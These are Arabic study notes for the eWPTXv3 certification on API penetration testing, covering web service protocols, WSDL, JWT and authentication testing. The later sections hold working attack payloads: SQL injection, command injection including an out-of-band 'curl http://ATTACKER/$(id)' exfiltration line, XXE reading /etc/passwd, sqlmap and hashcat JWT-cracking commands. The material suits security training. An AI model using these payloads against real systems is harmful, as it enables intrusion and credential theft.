Web Services هي مكوّنات برمجية صُمِّمت لتسهيل التواصل وتبادل البيانات بين التطبيقات المختلفة عبر الإنترنت — تتيح للتطبيقات المتباينة التعاون حتى لو كانت على منصات أو لغات مختلفة أو خوادم مختلفة.
| الجانب | Web Services | Web Applications |
|---|---|---|
| الهدف | تسهيل تبادل البيانات بين التطبيقات | تقديم خدمات مباشرة للمستخدم النهائي |
| تفاعل المستخدم | لا واجهة — Machine-to-Machine فقط | واجهة مستخدم سهلة للبشر |
| البروتوكول | SOAP, REST, XML-RPC, JSON-RPC | HTTP/HTTPS بشكل أساسي |
| تركيز الأمان | حماية البيانات أثناء النقل والتحكّم في الوصول | Authentication, Authorization, Data Validation, XSS, SQLi... |
| أمثلة | PayPal API، Weather Data Services | Amazon، Gmail، Facebook |
Web Services: فئة أوسع من التقنيات والبروتوكولات لتسهيل التواصل وتبادل البيانات بين الأنظمة المختلفة — بتوفَّر طريقة موحَّدة للتطبيقات المختلفة للتفاعل مع بعضها.
APIs: مجموعة قواعد وأدوات تتيح للتطبيقات المختلفة التواصل مع بعضها. بتوفَّر وصولاً لوظائف أو بيانات تطبيق ما للمطوّرين. All Web Services are APIs, but not all APIs are Web Services.
بروتوكول بسيط وخفيف لتمكين التواصل بين التطبيقات. بيعمل بإرسال HTTP Requests تستدعي method واحدة مُنفَّذة على النظام البعيد. بيشفَّر البيانات بـ XML — قابل للقراءة من البشر والآلات. يُعدّ سلفاً للـ SOAP و REST الحديثين.
<!-- REQUEST -->
<?xml version="1.0"?>
<methodCall>
<methodName>sampleMethod</methodName>
<params>
<param><value><int>42</int></value></param>
</params>
</methodCall>
<!-- RESPONSE -->
<?xml version="1.0"?>
<methodResponse>
<params>
<param><value><string>Hello, World!</string></value></param>
</params>
</methodResponse>
مشابه لـ XML-RPC لكن بيستخدم JSON بدل XML. أكثر قابلية للقراءة البشرية وبيأخذ بيانات أقل للتواصل. بات شائعاً في Web Development وMicroservices Architectures.
الـ Request object يحتوي ثلاث خصائص دائماً:
method: اسم الـ Method المُستدعاةparams: Array من المعاملاتid: Request ID لمطابقة الـ Responses{
"method": "getUserProfile",
"params": [{"userId": 42}],
"id": 1
}
بروتوكول لتبادل المعلومات المهيكَّلة. الخلف الطبيعي لـ XML-RPC. معروف بـ Strong Typing ومجموعة ميزات واسعة تشمل الأمان والموثوقية ودعم المعاملات. ممكن يأتي مع WSDL declaration تصف كيفية استخدامه.
<!-- SOAP REQUEST -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<web:sampleMethod>
<web:inputParameter>42</web:inputParameter>
</web:sampleMethod>
</soapenv:Body>
</soapenv:Envelope>
<!-- SOAP RESPONSE -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<web:sampleMethodResponse>
<web:result>Hello, World!</web:result>
</web:sampleMethodResponse>
</soapenv:Body>
</soapenv:Envelope>
REST مش بروتوكول أو تقنية — هو Architectural Style لتصميم تطبيقات الشبكة. مجموعة مبادئ وقيود توجَّه تصميم الـ Web Services والـ APIs. بيستخدم HTTP كـ Communication Protocol. بيستخدم JSON أو XML أو أي صيغة نقل رسائل.
| HTTP Method | الفعل | مثال |
|---|---|---|
GET | استرجاع مورد أو قائمة موارد | GET /api/books — قائمة الكتب | GET /api/books/1 — كتاب محدَّد |
POST | إنشاء مورد جديد | POST /api/books — إنشاء كتاب جديد |
PUT | تغيير حالة مورد أو استبداله | PUT /api/books/1 — استبدال كتاب |
DELETE | حذف مورد | DELETE /api/books/1 — حذف كتاب |
PATCH | تعديل جزئي لمورد | PATCH /api/books/1 — تعديل حقل واحد |
| المعيار | XML-RPC | JSON-RPC | SOAP | REST |
|---|---|---|---|---|
| صيغة البيانات | XML | JSON | XML | JSON / XML / Any |
| التعقيد | بسيط | بسيط جداً | معقَّد | بسيط |
| الأمان المدمج | لا | لا | WS-Security | HTTPS + OAuth |
| Stateless؟ | نعم | نعم | ممكن | نعم (بالتعريف) |
| الاستخدام الشائع | Legacy Systems | Microservices | Enterprise/Banking | Modern Web APIs |
| الوصف | — | — | WSDL | OpenAPI/Swagger |
لغة مبنية على XML لوصف وظيفة وواجهة الـ Web Service. مستندات WSDL بتعمل كعقود بين مزوَّدي الخدمة ومستهلكيها — بتحدَّد كيفية استخدام الـ Web Service. بتُستخدَم بالتوافق مع SOAP لتعريف وتوثيق الـ SOAP-based Web Services.
WSDL Documents بيكون ليها تعريفات مجرَّدة وملموسة:
WSDL 1.1: يستخدم portType، message، وtypes. لا يزال الأكثر انتشاراً رغم قِدَمه.
WSDL 2.0: يستبدل portType بـ interface، أزال عنصر message — الـ interface elements بتشير مباشرة لعناصر الـ Schema.
اختبار المصادقة هو فحص واستغلال نقاط الضعف في آليات التحقق من الهوية — Login Forms، Password Reset، MFA، وAccount Lockouts.
| الاسم | ID | الوصف |
|---|---|---|
| Credentials over Encrypted Channel | WSTG-ATHN-01 | التحقق من أن بيانات الاعتماد تُرسَل بأمان عبر HTTPS |
| Default Credentials | WSTG-ATHN-02 | فحص إذا كانت بيانات الاعتماد الافتراضية ما زالت مستخدَمة |
| Weak Lock Out Mechanism | WSTG-ATHN-03 | تقييم آليات الإقفال لمنع هجمات Brute-Force |
| Bypassing Authentication Schema | WSTG-ATHN-04 | تحديد عيوب تسمح بتجاوز المصادقة كلياً |
| Vulnerable Remember Password | WSTG-ATHN-05 | تقييم أمان ميزة "تذكَّرني" وما تكشفه من بيانات |
| Browser Cache Weaknesses | WSTG-ATHN-06 | التأكد من عدم تخزين بيانات حساسة في Cache المتصفح |
| Weak Password Policy | WSTG-ATHN-07 | فحص سياسة كلمات المرور — التعقيد وانتهاء الصلاحية |
| Weak Auth in Alternative Channels | WSTG-ATHN-08 | اختبار القنوات البديلة (APIs، Mobile) لممارسات أمنية أضعف |
بدل الحفاظ على حالة الجلسة على الـ Server، يتم إصدار Tokens للعملاء وتمريرها ذهاباً وإياباً للمصادقة على الطلبات. هذه الـ Tokens تحتوي هوية المستخدم أو التطبيق والصلاحيات ذات الصلة — تتيح مصادقة سلسة وقابلة للتوسيع.
| المكان | المثال | الأمان | التوصية |
|---|---|---|---|
| Authorization Header | Authorization: Bearer <token> | 🟢 الأفضل | ✓ الطريقة المُفضَّلة — منفصل عن الـ URL واللوجات |
| Query Parameters | ?access_token=<token> | 🔴 خطر | ⚠ ممكن يظهر في الـ Browser History والـ Logs |
| Request Body | {"token": "<token>"} | 🟡 مقبول | للـ POST فقط — لا تستخدم مع GET |
| Cookies | Set-Cookie: auth_token=<token> | 🟡 مقبول | مع HttpOnly + Secure + SameSite لمنع CSRF |
| Custom Headers | X-Auth-Token: <token> | 🟡 مقبول | أقل قياسية — لأنظمة ذات احتياجات خاصة |
طريقة مضغوطة وURL-safe وself-contained لنقل المعلومات بأمان بين الأطراف. يُستخدَم على نطاق واسع للـ Authentication والـ Authorization وتبادل المعلومات في التطبيقات الحديثة. يتكوَّن من ثلاثة أجزاء مفصولة بنقطة.
iss: من أصدر الـ Tokensub: موضوع الـ Token (User ID)aud: المستلم المُستهدَفexp: وقت انتهاء الصلاحيةiat: وقت الإصدارnbf: لا يصلح قبل هذا الوقت
role: دور المستخدم (admin, user)email: البريد الإلكترونيpermissions: ["read", "write"]
department: "sales"cartId: "abc123"
الـ Payload في JWT بيكون Base64 Encoded فقط — مش مُشفَّراً. يعني أي شخص يمتلك الـ Token يقدر يقرأ محتواه. لا تضع فيه معلومات حساسة زي كلمات المرور. الـ Signature بتضمن عدم التلاعب لكن لا تخفي المحتوى.
الوصول لملف WSDL هو الخطوة الأولى في اختبار أمان الـ Web Services — بيديك القائمة الكاملة للـ Operations والـ Types المسموح بها من الـ Server، والـ Syntax الصحيح، والـ Inputs والـ Outputs وكل المعلومات اللي محتاجها لتنفيذ هجمات ناجحة.
قبل ما تعدَّد ملفات WSDL، لازم تحدَّد SOAP Web Service والـ Endpoints. استخدم Burp Suite أو dirb للبحث عن Endpoints متاحة.
# إضافة Suffixes للـ Service URL
http://target.com/service?wsdl
http://target.com/service.wsdl
http://target.com/service?disco
# أمثلة عملية
curl http://target.com/api/soap?wsdl
curl http://target.com/ws/service.wsdl
curl http://target.com/webservice?disco
# استخدام Burp Suite Intruder مع قائمة Suffixes
# أو ffuf/gobuster لـ WSDL file discovery
ffuf -u http://target.com/FUZZ -w wsdl-paths.txt
بعد إيجاد الـ WSDL، افحص: العمليات المتاحة (portType)، أنواع البيانات المقبولة (types)، تنسيق الطلبات (binding)، وعنوان الـ Endpoint (service). هذا يكشف الـ Hidden Methods واحتمالية وجود ثغرات.
بعض الـ Methods غير موثَّقة في الواجهة الرسمية لكنها موجودة في الـ WSDL. استدعها مباشرة بـ SOAP Requests مُشكَّلة يدوياً أو بـ SoapUI.
دايماً افحص WSDL قبل اختبار أي SOAP Service. ممكن يكشف Methods بصلاحيات إدارية ما بتظهرش في الـ Documentation الرسمي — Hidden Admin Functions هي من أكثر النتائج قيمة في SOAP Testing.
نفس مبادئ SQLi في تطبيقات الويب تنطبق على الـ APIs — الفرق هو أن الـ Payload بيتمرَّر في JSON Body أو Query Parameters أو Headers بدل HTML Form Fields.
# SQL Injection في JSON Body
POST /api/users/login HTTP/1.1
Content-Type: application/json
{"username": "admin'--", "password": "anything"}
# SQL Injection في Query Parameter
GET /api/products?id=1 OR 1=1-- HTTP/1.1
# SQL Injection في SOAP Request
<web:getUser>
<web:userId>1' OR '1'='1</web:userId>
</web:getUser>
# اختبار مع UNION-based
GET /api/user?id=1 UNION SELECT username,password,NULL FROM users--
# Error-based detection
GET /api/item?id=1'
# Response: SQL syntax error → vulnerable!
بعض الـ APIs بتمرَّر Input مباشرةً لـ OS Commands — بدون Sanitization. أي Parameter يُستخدَم في System Call ممكن يكون نقطة دخول.
# Command Injection في JSON Body
POST /api/ping HTTP/1.1
Content-Type: application/json
{"host": "127.0.0.1; id"}
{"host": "127.0.0.1 && cat /etc/passwd"}
{"host": "127.0.0.1 | whoami"}
# Command Injection في Query Parameter
GET /api/lookup?domain=example.com;id HTTP/1.1
# Blind Command Injection (time-based)
{"host": "127.0.0.1; sleep 5"}
# لو الـ Response تأخَّر 5 ثوان → vulnerable!
# Blind Command Injection (OOB)
{"host": "127.0.0.1; curl http://ATTACKER/$(id)"}
في اختبار الـ APIs، افحص دايماً: JSON Body parameters، Query String parameters، HTTP Headers (X-Forwarded-For, User-Agent)، Path Parameters (/api/users/{id})، وSOAP Envelope elements. أي مكان بيقبل Input من المستخدم هو نقطة اختبار محتملة.
--data لتمرير JSON Body و--level للعمق.# SQLmap مع JSON Body
sqlmap -u "http://target.com/api/login" \
--data='{"username":"*","password":"test"}' \
--level=5 --risk=3 \
--headers="Content-Type: application/json"
# SQLmap مع Bearer Token
sqlmap -u "http://target.com/api/users?id=1" \
--headers="Authorization: Bearer JWT_TOKEN" \
--dbs
# Suffixes الشائعة
?wsdl .wsdl ?disco
?WSDL /wsdl /service.wsdl
?wsdl=1 /api?wsdl /ws?wsdl
# Curl مباشر
curl -s "http://target.com/service?wsdl"
# ffuf discovery
ffuf -u "http://target.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
# Burp Suite Intruder
# Payload: قائمة WSDL suffixes على Base URL
# فك تشفير JWT (بدون التحقق من الـ Signature)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
echo "eyJzdWIiOiIxMjM0NTY3ODkwIn0" | base64 -d
# Python — فك تشفير JWT كامل
python3 -c "
import base64, json
parts = 'YOUR.JWT.TOKEN'.split('.')
for p in parts[:2]:
padded = p + '=' * (4 - len(p)%4)
print(json.dumps(json.loads(base64.urlsafe_b64decode(padded)), indent=2))
"
# أدوات JWT Online
# jwt.io — فك تشفير وتشفير
# jwt-cracker — Brute Force على Secret
# hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# اختبار JWT "alg: none" attack
# تعديل الـ Header لـ {"alg": "none"} وحذف الـ Signature
| الاختبار | ما تفحصه | الأداة |
|---|---|---|
| Endpoint Discovery | ffuf/gobuster على API paths, Swagger/OpenAPI | ffuf, Burp |
| Auth Bypass | WSTG-ATHN-04: تجربة بدون Token أو بـ JWT منتهي | Burp Repeater |
| JWT Attacks | alg:none، ضعف Secret، تعديل Claims | jwt_tool, hashcat |
| IDOR | تغيير IDs في Path/Body للوصول لموارد تانية | Burp Intruder |
| SQL Injection | Payloads في JSON Body والـ Query Params | sqlmap, Burp |
| Command Injection | OS commands في Parameters | Manual, Commix |
| Rate Limiting | هل الـ API بتحجب عند كثرة الطلبات؟ | Burp Intruder |
| CORS | Origin header manipulation | Burp Repeater |
# 1. اكتشاف WSDL
curl http://target.com/service?wsdl -o service.wsdl
# 2. استخراج Operations من WSDL
grep -i "operation name" service.wsdl
# 3. بناء SOAP Request يدوياً
curl -X POST http://target.com/service \
-H "Content-Type: text/xml" \
-d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser><id>1</id></getUser>
</soap:Body>
</soap:Envelope>'
# 4. SQL Injection في SOAP
<id>1' OR '1'='1</id>
# 5. XXE في SOAP
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<id>&xxe;</id>
| Claim | الاسم | الوصف | النوع |
|---|---|---|---|
iss | Issuer | من أصدر الـ Token | Registered |
sub | Subject | موضوع الـ Token (User ID) | Registered |
aud | Audience | المستلم المقصود | Registered |
exp | Expiration | وقت انتهاء الصلاحية (Unix timestamp) | Registered |
iat | Issued At | وقت الإصدار | Registered |
nbf | Not Before | لا يصلح قبل هذا الوقت | Registered |
role | Role | دور المستخدم — admin/user | Public |
email | البريد الإلكتروني | Public | |
permissions | Permissions | قائمة الصلاحيات | Public |
الموديول ده بنى أساساً شاملاً لاختبار اختراق الـ APIs — من فهم بروتوكولات الـ Web Services، لـ WSDL disclosure وتعداد الـ Methods، لاختبار المصادقة وثغرات الـ JWT، وصولاً لـ Injection Vulnerabilities.
APIs هي نقاط الدخول الأكثر انتشاراً في التطبيقات الحديثة. فهم بروتوكولات الاتصال وآليات المصادقة وأماكن الـ Injection المحتملة هو أساس كل اختبار اختراق لتطبيقات الويب الحديثة.
في اختبار الـ eWPTXv3: دايماً ابحث عن WSDL أولاً في SOAP Services → افحص JWT Claims ونوع الـ Algorithm → جرَّب Injection في كل Parameter بما فيهم JSON Body → افحص Auth Headers بدون Token وبـ Expired Token. المنهجية هي المفتاح.
نهاية نوتس الموديول الرابع — eWPTXv3: API Penetration Testing